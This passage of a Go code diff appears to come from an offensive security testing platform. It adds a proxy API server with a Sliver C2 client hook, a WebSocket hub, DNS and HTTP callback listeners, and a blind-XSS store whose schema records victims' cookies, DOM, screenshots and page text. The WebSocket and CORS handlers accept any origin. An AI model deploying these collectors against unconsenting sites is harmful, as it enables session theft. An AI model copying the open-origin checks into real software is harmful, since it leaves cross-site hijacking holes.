store *proxy.Store,
|
||||
intercept *proxy.InterceptQueue,
|
||||
scope *proxy.Scope,
|
||||
noise *proxy.NoiseFilter,
|
||||
replace *proxy.MatchReplace,
|
||||
customData *proxy.CustomData,
|
||||
transport *proxy.TransportConfig,
|
||||
wsStore *proxy.WSStore,
|
||||
ca *cert.CA,
|
||||
hub *Hub,
|
||||
noteStore *notes.Store,
|
||||
pluginManager *plugins.Manager,
|
||||
buildInfo BuildInfo,
|
||||
cancelFunc context.CancelFunc,
|
||||
) *APIServer {
|
||||
sc := &sliver.Client{}
|
||||
sc.SetOnEvent(func(ev sliver.SliverEvent) {
|
||||
hub.Broadcast() <- event.WSEvent{Type: "sliver.event", Data: ev}
|
||||
})
|
||||
return &APIServer{
|
||||
cfg: cfg,
|
||||
store: store,
|
||||
intercept: intercept,
|
||||
scope: scope,
|
||||
noise: noise,
|
||||
replace: replace,
|
||||
customData: customData,
|
||||
transport: transport,
|
||||
wsStore: wsStore,
|
||||
wsManipulate: proxy.NewManipulateWSManager(transport),
|
||||
ca: ca,
|
||||
hub: hub,
|
||||
noteStore: noteStore,
|
||||
sliverClient: sc,
|
||||
fuzzerStore: fuzzer.NewStore(),
|
||||
pluginManager: pluginManager,
|
||||
listenerRelay: NewListenerRelay(hub),
|
||||
configStore: configstore.NewStore(cfg.DataDir),
|
||||
buildInfo: buildInfo,
|
||||
cancelFunc: cancelFunc,
|
||||
highlights: make(map[string]string),
|
||||
sessionID: generateSessionID(),
|
||||
settings: Settings{
|
||||
ProxyPort: cfg.ProxyPort,
|
||||
UIPort: cfg.UIPort,
|
||||
InterceptEnabled: false,
|
||||
InterceptTimeout: 60,
|
||||
HTTP2Enabled: true,
|
||||
KeepAliveEnabled: false,
|
||||
MaxRequests: store.MaxSize(),
|
||||
DisableUpdateChecks: cfg.DisableUpdateChecks,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// RestartRequested returns true if the server was shut down for a restart (e.g. after update).
|
||||
func (s *APIServer) RestartRequested() bool {
|
||||
return s.restart
|
||||
}
|
||||
|
||||
// NewListenerMode creates an APIServer in listener mode (no proxy components).
|
||||
func NewListenerMode(cfg config.Config, cbStore *callback.Store, xssStore *xsshunter.Store, hub *Hub, token string) *APIServer {
|
||||
return &APIServer{
|
||||
cfg: cfg,
|
||||
hub: hub,
|
||||
cbStore: cbStore,
|
||||
xssStore: xssStore,
|
||||
listenerMode: true,
|
||||
teamToken: token,
|
||||
sessionID: generateSessionID(),
|
||||
settings: Settings{
|
||||
UIPort: cfg.UIPort,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// NewTeamServerMode creates an APIServer in team server mode (listener + team features, no frontend).
|
||||
func NewTeamServerMode(cfg config.Config, cbStore *callback.Store, xssStore *xsshunter.Store, hub *Hub, teamStore *team.Store, token string) *APIServer {
|
||||
hub.SetOnConnect(func(nickname, ip string) {
|
||||
if err := teamStore.RecordConnection(nickname, ip); err != nil {
|
||||
log.Printf("team: failed to record connection for %s: %v", nickname, err)
|
||||
}
|
||||
})
|
||||
return &APIServer{
|
||||
cfg: cfg,
|
||||
hub: hub,
|
||||
cbStore: cbStore,
|
||||
xssStore: xssStore,
|
||||
listenerMode: true,
|
||||
teamServerMode: true,
|
||||
teamStore: teamStore,
|
||||
teamToken: token,
|
||||
sessionID: generateSessionID(),
|
||||
settings: Settings{
|
||||
UIPort: cfg.UIPort,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// startUpdateChecker runs a background goroutine that checks for updates every
|
||||
// 5 minutes and broadcasts a WebSocket event when a new version is found.
|
||||
func (s *APIServer) startUpdateChecker(ctx context.Context) {
|
||||
ticker := time.NewTicker(5 * time.Minute)
|
||||
go func() {
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
s.mu.RLock()
|
||||
disabled := s.settings.DisableUpdateChecks
|
||||
currentVersion := s.buildInfo.Version
|
||||
s.mu.RUnlock()
|
||||
|
||||
if disabled {
|
||||
continue
|
||||
}
|
||||
|
||||
latestVersion, available := update.CheckForUpdate(currentVersion)
|
||||
if !available {
|
||||
continue
|
||||
}
|
||||
|
||||
s.mu.Lock()
|
||||
changed := !s.buildInfo.UpdateAvailable || s.buildInfo.LatestVersion != latestVersion
|
||||
s.buildInfo.UpdateAvailable = available
|
||||
s.buildInfo.LatestVersion = latestVersion
|
||||
s.mu.Unlock()
|
||||
|
||||
if changed {
|
||||
s.mu.RLock()
|
||||
info := s.buildInfo
|
||||
s.mu.RUnlock()
|
||||
s.hub.Broadcast() <- event.WSEvent{
|
||||
Type: "system.update.available",
|
||||
Data: info,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Start begins serving and blocks until ctx is cancelled.
|
||||
func (s *APIServer) Start(ctx context.Context) error {
|
||||
mux := http.NewServeMux()
|
||||
registerRoutes(s, mux)
|
||||
|
||||
// Start periodic update checker (proxy mode only).
|
||||
if !s.listenerMode {
|
||||
s.startUpdateChecker(ctx)
|
||||
}
|
||||
|
||||
// Serve frontend (skip in listener mode - listener is API-only).
|
||||
if !s.listenerMode {
|
||||
if s.cfg.Dev {
|
||||
s.mountDevProxy(mux)
|
||||
} else {
|
||||
s.mountEmbedded(mux)
|
||||
}
|
||||
}
|
||||
|
||||
var handler http.Handler = mux
|
||||
if s.listenerMode {
|
||||
handler = team.AuthMiddleware(s.teamToken, handler)
|
||||
}
|
||||
handler = corsMiddleware(handler)
|
||||
|
||||
s.srv = &http.Server{
|
||||
Addr: fmt.Sprintf("%s:%d", s.cfg.BindAddr, s.cfg.UIPort),
|
||||
Handler: handler,
|
||||
ReadHeaderTimeout: 10 * time.Second,
|
||||
IdleTimeout: 120 * time.Second,
|
||||
}
|
||||
|
||||
go func() {
|
||||
<-ctx.Done()
|
||||
shutCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
s.srv.Shutdown(shutCtx) //nolint:errcheck
|
||||
}()
|
||||
|
||||
if err := s.srv.ListenAndServe(); err != http.ErrServerClosed {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// mountEmbedded serves the built React app from the embedded FS.
|
||||
func (s *APIServer) mountEmbedded(mux *http.ServeMux) {
|
||||
sub, err := fs.Sub(joroweb.Dist, "dist")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
mux.Handle("/", http.FileServer(http.FS(&spaFS{fs: sub})))
|
||||
}
|
||||
|
||||
// mountDevProxy reverse-proxies non-API requests to the Vite dev server.
|
||||
func (s *APIServer) mountDevProxy(mux *http.ServeMux) {
|
||||
target, err := url.Parse(s.cfg.ViteURL)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
rp := httputil.NewSingleHostReverseProxy(target)
|
||||
mux.Handle("/", rp)
|
||||
}
|
||||
|
||||
// spaFS serves index.html for any path not found in the embedded FS (SPA catch-all).
|
||||
type spaFS struct{ fs fs.FS }
|
||||
|
||||
func (s *spaFS) Open(name string) (fs.File, error) {
|
||||
f, err := s.fs.Open(name)
|
||||
if err == nil {
|
||||
return f, nil
|
||||
}
|
||||
if os.IsNotExist(err) {
|
||||
return s.fs.Open("index.html")
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// corsMiddleware adds permissive CORS headers for dev usage.
|
||||
func corsMiddleware(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Access-Control-Allow-Origin", "*")
|
||||
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
|
||||
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization, X-Joro-Nickname")
|
||||
if r.Method == http.MethodOptions {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
return
|
||||
}
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
// writeJSON encodes data as JSON and writes it with the given status code.
|
||||
func writeJSON(w http.ResponseWriter, status int, data any) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(status)
|
||||
json.NewEncoder(w).Encode(data) //nolint:errcheck
|
||||
}
|
||||
|
||||
func writeError(w http.ResponseWriter, status int, msg string) {
|
||||
writeJSON(w, status, map[string]string{"error": msg})
|
||||
}
|
||||
@@ -0,0 +1,202 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"sync"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
var upgrader = websocket.Upgrader{
|
||||
CheckOrigin: func(r *http.Request) bool { return true },
|
||||
}
|
||||
|
||||
// errNicknameInUse is returned by Hub.Rename when the target nickname is already taken.
|
||||
var errNicknameInUse = errors.New("nickname already in use")
|
||||
|
||||
// OnConnectFunc is called when a named user connects with their nickname and IP.
|
||||
type OnConnectFunc func(nickname, ip string)
|
||||
|
||||
// Hub manages WebSocket clients and broadcasts events to all of them.
|
||||
type Hub struct {
|
||||
mu sync.RWMutex
|
||||
clients map[*websocket.Conn]string // conn -> nickname ("" for non-team connections)
|
||||
broadcast chan any
|
||||
onConnect OnConnectFunc
|
||||
}
|
||||
|
||||
// NewHub creates a Hub. Call Run() in a goroutine before accepting connections.
|
||||
func NewHub() *Hub {
|
||||
return &Hub{
|
||||
clients: make(map[*websocket.Conn]string),
|
||||
broadcast: make(chan any, 512),
|
||||
}
|
||||
}
|
||||
|
||||
// SetOnConnect sets a callback invoked when a named user connects.
|
||||
func (h *Hub) SetOnConnect(fn OnConnectFunc) {
|
||||
h.onConnect = fn
|
||||
}
|
||||
|
||||
// Run reads from the broadcast channel and fans out to all connected clients.
|
||||
// It blocks until the channel is closed.
|
||||
func (h *Hub) Run() {
|
||||
for msg := range h.broadcast {
|
||||
data, err := json.Marshal(msg)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
h.mu.RLock()
|
||||
for conn := range h.clients {
|
||||
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
log.Printf("ws write: %v", err)
|
||||
}
|
||||
}
|
||||
h.mu.RUnlock()
|
||||
}
|
||||
}
|
||||
|
||||
// Broadcast returns the write-only broadcast channel.
|
||||
func (h *Hub) Broadcast() chan<- any {
|
||||
return h.broadcast
|
||||
}
|
||||
|
||||
// HasNickname returns true if a client with the given nickname is already connected.
|
||||
func (h *Hub) HasNickname(nickname string) bool {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
for _, nick := range h.clients {
|
||||
if nick == nickname {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ActiveUsers returns a deduplicated list of connected nicknames (non-empty only).
|
||||
func (h *Hub) ActiveUsers() []string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
seen := make(map[string]struct{})
|
||||
var users []string
|
||||
for _, nick := range h.clients {
|
||||
if nick == "" {
|
||||
continue
|
||||
}
|
||||
if _, exists := seen[nick]; !exists {
|
||||
seen[nick] = struct{}{}
|
||||
users = append(users, nick)
|
||||
}
|
||||
}
|
||||
return users
|
||||
}
|
||||
|
||||
// broadcastPresence sends a team.presence event with the current active user list.
|
||||
func (h *Hub) broadcastPresence() {
|
||||
users := h.ActiveUsers()
|
||||
if users == nil {
|
||||
users = []string{}
|
||||
}
|
||||
h.broadcast <- map[string]any{
|
||||
"type": "team.presence",
|
||||
"data": map[string]any{"users": users},
|
||||
}
|
||||
}
|
||||
|
||||
// Rename swaps oldNick → newNick on an existing conn and emits team.nickname_changed. Returns (false, nil) if oldNick has no conn.
|
||||
func (h *Hub) Rename(oldNick, newNick string) (bool, error) {
|
||||
h.mu.Lock()
|
||||
var oldConn *websocket.Conn
|
||||
for c, nick := range h.clients {
|
||||
if nick == newNick {
|
||||
h.mu.Unlock()
|
||||
return false, errNicknameInUse
|
||||
}
|
||||
if nick == oldNick && oldConn == nil {
|
||||
oldConn = c
|
||||
}
|
||||
}
|
||||
if oldConn == nil {
|
||||
h.mu.Unlock()
|
||||
return false, nil
|
||||
}
|
||||
h.clients[oldConn] = newNick
|
||||
h.mu.Unlock()
|
||||
|
||||
h.broadcast <- map[string]any{
|
||||
"type": "team.nickname_changed",
|
||||
"data": map[string]any{
|
||||
"oldNickname": oldNick,
|
||||
"newNickname": newNick,
|
||||
},
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// ServeWS upgrades the HTTP connection to WebSocket and registers the client.
|
||||
func (h *Hub) ServeWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Extract nickname from query param (set by auth middleware or relay).
|
||||
nickname := r.URL.Query().Get("nickname")
|
||||
|
||||
// Reject duplicate nicknames before upgrading.
|
||||
if nickname != "" && h.HasNickname(nickname) {
|
||||
http.Error(w, `{"error":"nickname already in use"}`, http.StatusConflict)
|
||||
return
|
||||
}
|
||||
|
||||
conn, err := upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Double-check under write lock to prevent race between HasNickname and registration.
|
||||
h.mu.Lock()
|
||||
if nickname != "" {
|
||||
for _, nick := range h.clients {
|
||||
if nick == nickname {
|
||||
h.mu.Unlock()
|
||||
conn.WriteMessage(websocket.CloseMessage,
|
||||
websocket.FormatCloseMessage(websocket.ClosePolicyViolation, "nickname already in use"))
|
||||
conn.Close()
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
h.clients[conn] = nickname
|
||||
h.mu.Unlock()
|
||||
|
||||
if nickname != "" {
|
||||
h.broadcastPresence()
|
||||
|
||||
if h.onConnect != nil {
|
||||
ip, _, _ := net.SplitHostPort(r.RemoteAddr)
|
||||
if ip == "" {
|
||||
ip = r.RemoteAddr
|
||||
}
|
||||
h.onConnect(nickname, ip)
|
||||
}
|
||||
}
|
||||
|
||||
defer func() {
|
||||
h.mu.Lock()
|
||||
delete(h.clients, conn)
|
||||
h.mu.Unlock()
|
||||
if nickname != "" {
|
||||
h.broadcastPresence()
|
||||
}
|
||||
conn.Close()
|
||||
}()
|
||||
|
||||
// Drain client messages; disconnect on any error.
|
||||
for {
|
||||
if _, _, err := conn.ReadMessage(); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
// ListenerRelay maintains a WebSocket connection to the remote teamserver
|
||||
// and relays team.* events to the local Hub.
|
||||
type ListenerRelay struct {
|
||||
hub *Hub
|
||||
mu sync.Mutex
|
||||
url string
|
||||
token string
|
||||
nickname string
|
||||
stop chan struct{}
|
||||
}
|
||||
|
||||
// NewListenerRelay creates a relay. Call Update() to start connecting.
|
||||
func NewListenerRelay(hub *Hub) *ListenerRelay {
|
||||
return &ListenerRelay{hub: hub}
|
||||
}
|
||||
|
||||
// SetNickname updates the cached nickname for the next reconnect, without closing the current connection.
|
||||
func (lr *ListenerRelay) SetNickname(newNickname string) {
|
||||
lr.mu.Lock()
|
||||
defer lr.mu.Unlock()
|
||||
lr.nickname = newNickname
|
||||
}
|
||||
|
||||
// Update sets the connection parameters and (re)starts the relay.
|
||||
// Pass empty url or token to stop the relay.
|
||||
func (lr *ListenerRelay) Update(listenerURL, token, nickname string) {
|
||||
lr.mu.Lock()
|
||||
defer lr.mu.Unlock()
|
||||
|
||||
// Stop existing connection.
|
||||
if lr.stop != nil {
|
||||
close(lr.stop)
|
||||
lr.stop = nil
|
||||
}
|
||||
|
||||
if listenerURL == "" || token == "" {
|
||||
return
|
||||
}
|
||||
|
||||
lr.url = listenerURL
|
||||
lr.token = token
|
||||
lr.nickname = nickname
|
||||
lr.stop = make(chan struct{})
|
||||
go lr.run(lr.stop, listenerURL, token, nickname)
|
||||
}
|
||||
|
||||
func (lr *ListenerRelay) run(stop chan struct{}, listenerURL, token, nickname string) {
|
||||
backoff := time.Second
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-stop:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
wsURL := buildWSURL(listenerURL, token, nickname)
|
||||
if wsURL == "" {
|
||||
return
|
||||
}
|
||||
|
||||
conn, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err != nil {
|
||||
if resp != nil {
|
||||
log.Printf("team relay: connect error: %v (HTTP %d)", err, resp.StatusCode)
|
||||
} else {
|
||||
log.Printf("team relay: connect error: %v", err)
|
||||
}
|
||||
select {
|
||||
case <-stop:
|
||||
return
|
||||
case <-time.After(backoff):
|
||||
}
|
||||
if backoff < 30*time.Second {
|
||||
backoff *= 2
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
backoff = time.Second
|
||||
lr.readLoop(conn, stop)
|
||||
conn.Close()
|
||||
}
|
||||
}
|
||||
|
||||
func (lr *ListenerRelay) readLoop(conn *websocket.Conn, stop chan struct{}) {
|
||||
for {
|
||||
select {
|
||||
case <-stop:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
_, data, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var msg struct {
|
||||
Type string `json:"type"`
|
||||
Data json.RawMessage `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &msg); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Only relay team events.
|
||||
if !strings.HasPrefix(msg.Type, "team.") {
|
||||
continue
|
||||
}
|
||||
|
||||
// Re-broadcast the raw event to local clients.
|
||||
var raw any
|
||||
if err := json.Unmarshal(data, &raw); err == nil {
|
||||
lr.hub.Broadcast() <- raw
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func buildWSURL(listenerURL, token, nickname string) string {
|
||||
base := strings.TrimRight(listenerURL, "/")
|
||||
|
||||
// Convert http(s) to ws(s).
|
||||
if strings.HasPrefix(base, "https://") {
|
||||
base = "wss://" + strings.TrimPrefix(base, "https://")
|
||||
} else if strings.HasPrefix(base, "http://") {
|
||||
base = "ws://" + strings.TrimPrefix(base, "http://")
|
||||
} else {
|
||||
base = "ws://" + base
|
||||
}
|
||||
|
||||
u, err := url.Parse(base + "/ws")
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
q := u.Query()
|
||||
q.Set("token", token)
|
||||
if nickname != "" {
|
||||
q.Set("nickname", nickname)
|
||||
}
|
||||
u.RawQuery = q.Encode()
|
||||
return u.String()
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
package callback
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
const schema = `
|
||||
CREATE TABLE IF NOT EXISTS config (
|
||||
key TEXT PRIMARY KEY,
|
||||
value TEXT NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS tokens (
|
||||
id TEXT PRIMARY KEY,
|
||||
note TEXT NOT NULL DEFAULT '',
|
||||
token TEXT NOT NULL UNIQUE,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS interactions (
|
||||
id TEXT PRIMARY KEY,
|
||||
token_id TEXT NOT NULL REFERENCES tokens(id) ON DELETE CASCADE,
|
||||
token TEXT NOT NULL,
|
||||
type TEXT NOT NULL,
|
||||
source_ip TEXT NOT NULL,
|
||||
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
query_name TEXT,
|
||||
query_type TEXT,
|
||||
method TEXT,
|
||||
path TEXT,
|
||||
headers TEXT,
|
||||
body TEXT,
|
||||
raw_request TEXT
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_interactions_token_id ON interactions(token_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_interactions_timestamp ON interactions(timestamp DESC);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS xss_probes (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL DEFAULT '',
|
||||
probe_id TEXT NOT NULL UNIQUE,
|
||||
collect_pages TEXT NOT NULL DEFAULT '',
|
||||
chainload_uri TEXT NOT NULL DEFAULT '',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS xss_fires (
|
||||
id TEXT PRIMARY KEY,
|
||||
probe_id TEXT NOT NULL REFERENCES xss_probes(id) ON DELETE CASCADE,
|
||||
probe_token TEXT NOT NULL,
|
||||
url TEXT NOT NULL,
|
||||
origin TEXT NOT NULL DEFAULT '',
|
||||
referrer TEXT NOT NULL DEFAULT '',
|
||||
user_agent TEXT NOT NULL DEFAULT '',
|
||||
cookies TEXT NOT NULL DEFAULT '',
|
||||
page_title TEXT NOT NULL DEFAULT '',
|
||||
dom TEXT NOT NULL DEFAULT '',
|
||||
screenshot TEXT NOT NULL DEFAULT '',
|
||||
source_ip TEXT NOT NULL DEFAULT '',
|
||||
in_iframe INTEGER NOT NULL DEFAULT 0,
|
||||
browser_time TEXT NOT NULL DEFAULT '',
|
||||
page_text TEXT NOT NULL DEFAULT '',
|
||||
injection_key TEXT NOT NULL DEFAULT '',
|
||||
fired_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_xss_fires_probe ON xss_fires(probe_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_xss_fires_time ON xss_fires(fired_at DESC);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS xss_collected_pages (
|
||||
id TEXT PRIMARY KEY,
|
||||
fire_id TEXT NOT NULL REFERENCES xss_fires(id) ON DELETE CASCADE,
|
||||
url TEXT NOT NULL,
|
||||
html TEXT NOT NULL DEFAULT '',
|
||||
collected_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_xss_collected_pages_fire ON xss_collected_pages(fire_id);
|
||||
`
|
||||
|
||||
// OpenDB opens (or creates) the SQLite database at path and runs migrations.
|
||||
func OpenDB(path string) (*sql.DB, error) {
|
||||
db, err := sql.Open("sqlite", path+"?_pragma=foreign_keys(1)&_pragma=journal_mode(wal)")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := db.Exec(schema); err != nil {
|
||||
db.Close()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Migrate: rename "name" column to "note" for existing databases.
|
||||
var hasNameCol bool
|
||||
rows, err := db.Query("PRAGMA table_info(tokens)")
|
||||
if err == nil {
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var cid int
|
||||
var name, typ string
|
||||
var notNull, pk int
|
||||
var dflt sql.NullString
|
||||
if err := rows.Scan(&cid, &name, &typ, ¬Null, &dflt, &pk); err == nil {
|
||||
if name == "name" {
|
||||
hasNameCol = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if hasNameCol {
|
||||
db.Exec("ALTER TABLE tokens RENAME COLUMN name TO note") //nolint:errcheck
|
||||
}
|
||||
|
||||
// Migrate: add new columns to xss_fires for existing databases.
|
||||
migrateAddColumn(db, "xss_fires", "page_text", "TEXT NOT NULL DEFAULT ''")
|
||||
migrateAddColumn(db, "xss_fires", "injection_key", "TEXT NOT NULL DEFAULT ''")
|
||||
|
||||
// Migrate: add new columns to xss_probes for existing databases.
|
||||
migrateAddColumn(db, "xss_probes", "collect_pages", "TEXT NOT NULL DEFAULT ''")
|
||||
migrateAddColumn(db, "xss_probes", "chainload_uri", "TEXT NOT NULL DEFAULT ''")
|
||||
|
||||
return db, nil
|
||||
}
|
||||
|
||||
// migrateAddColumn adds a column to a table if it doesn't already exist.
|
||||
func migrateAddColumn(db *sql.DB, table, column, colDef string) {
|
||||
var exists bool
|
||||
rows, err := db.Query("PRAGMA table_info(" + table + ")")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var cid int
|
||||
var name, typ string
|
||||
var notNull, pk int
|
||||
var dflt sql.NullString
|
||||
if err := rows.Scan(&cid, &name, &typ, ¬Null, &dflt, &pk); err == nil {
|
||||
if name == column {
|
||||
exists = true
|
||||
}
|
||||
}
|
||||
}
|
||||
if !exists {
|
||||
db.Exec("ALTER TABLE " + table + " ADD COLUMN " + column + " " + colDef) //nolint:errcheck
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
package callback
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// DNSServer listens for DNS queries and records interactions for matching tokens.
|
||||
type DNSServer struct {
|
||||
store *Store
|
||||
broadcast chan<- any
|
||||
bindAddr string
|
||||
port int
|
||||
udp *dns.Server
|
||||
tcp *dns.Server
|
||||
}
|
||||
|
||||
// NewDNSServer creates a DNS callback server.
|
||||
func NewDNSServer(store *Store, broadcast chan<- any, bindAddr string, port int) *DNSServer {
|
||||
return &DNSServer{
|
||||
store: store,
|
||||
broadcast: broadcast,
|
||||
bindAddr: bindAddr,
|
||||
port: port,
|
||||
}
|
||||
}
|
||||
|
||||
// Start begins listening on UDP and TCP. It blocks until ctx is cancelled.
|
||||
func (d *DNSServer) Start(ctx context.Context) error {
|
||||
addr := fmt.Sprintf("%s:%d", d.bindAddr, d.port)
|
||||
handler := dns.HandlerFunc(d.handleDNS)
|
||||
|
||||
d.udp = &dns.Server{Addr: addr, Net: "udp", Handler: handler}
|
||||
d.tcp = &dns.Server{Addr: addr, Net: "tcp", Handler: handler}
|
||||
|
||||
errCh := make(chan error, 2)
|
||||
go func() { errCh <- d.udp.ListenAndServe() }()
|
||||
go func() { errCh <- d.tcp.ListenAndServe() }()
|
||||
|
||||
go func() {
|
||||
<-ctx.Done()
|
||||
d.udp.Shutdown() //nolint:errcheck
|
||||
d.tcp.Shutdown() //nolint:errcheck
|
||||
}()
|
||||
|
||||
return <-errCh
|
||||
}
|
||||
|
||||
func (d *DNSServer) handleDNS(w dns.ResponseWriter, r *dns.Msg) {
|
||||
msg := new(dns.Msg)
|
||||
msg.SetReply(r)
|
||||
msg.Authoritative = true
|
||||
|
||||
cfg, _ := d.store.GetConfig()
|
||||
domain := cfg.Domain
|
||||
responseIP := net.ParseIP(cfg.ResponseIP)
|
||||
if responseIP == nil {
|
||||
responseIP = net.ParseIP("127.0.0.1")
|
||||
}
|
||||
|
||||
for _, q := range r.Question {
|
||||
qname := strings.TrimSuffix(q.Name, ".")
|
||||
|
||||
// Try to correlate with a token
|
||||
token, err := Correlate(d.store, qname, domain)
|
||||
if err == nil {
|
||||
sourceIP, _, _ := net.SplitHostPort(w.RemoteAddr().String())
|
||||
|
||||
id := make([]byte, 16)
|
||||
rand.Read(id) //nolint:errcheck
|
||||
interaction := &Interaction{
|
||||
ID: hex.EncodeToString(id),
|
||||
TokenID: token.ID,
|
||||
Token: token.Token,
|
||||
Type: "dns",
|
||||
SourceIP: sourceIP,
|
||||
Timestamp: time.Now().UTC(),
|
||||
QueryName: qname,
|
||||
QueryType: dns.TypeToString[q.Qtype],
|
||||
}
|
||||
if err := d.store.RecordInteraction(interaction); err != nil {
|
||||
log.Printf("callback dns: record interaction: %v", err)
|
||||
}
|
||||
d.broadcast <- event.WSEvent{Type: "callback.interaction", Data: interaction}
|
||||
}
|
||||
|
||||
// Respond with A record for A queries
|
||||
if q.Qtype == dns.TypeA {
|
||||
msg.Answer = append(msg.Answer, &dns.A{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 60},
|
||||
A: responseIP.To4(),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
w.WriteMsg(msg) //nolint:errcheck
|
||||
}
|
||||
@@ -0,0 +1,379 @@
|
||||
package callback
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httputil"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/xsshunter"
|
||||
)
|
||||
|
||||
// HTTPServer listens for HTTP requests and records interactions for matching tokens.
|
||||
type HTTPServer struct {
|
||||
store *Store
|
||||
xssStore *xsshunter.Store
|
||||
broadcast chan<- any
|
||||
bindAddr string
|
||||
port int
|
||||
srv *http.Server
|
||||
httpsPort int
|
||||
httpsSrv *http.Server
|
||||
}
|
||||
|
||||
// NewHTTPServer creates an HTTP callback server.
|
||||
func NewHTTPServer(store *Store, xssStore *xsshunter.Store, broadcast chan<- any, bindAddr string, port int) *HTTPServer {
|
||||
s := &HTTPServer{
|
||||
store: store,
|
||||
xssStore: xssStore,
|
||||
broadcast: broadcast,
|
||||
bindAddr: bindAddr,
|
||||
port: port,
|
||||
}
|
||||
s.srv = &http.Server{
|
||||
Addr: fmt.Sprintf("%s:%d", bindAddr, port),
|
||||
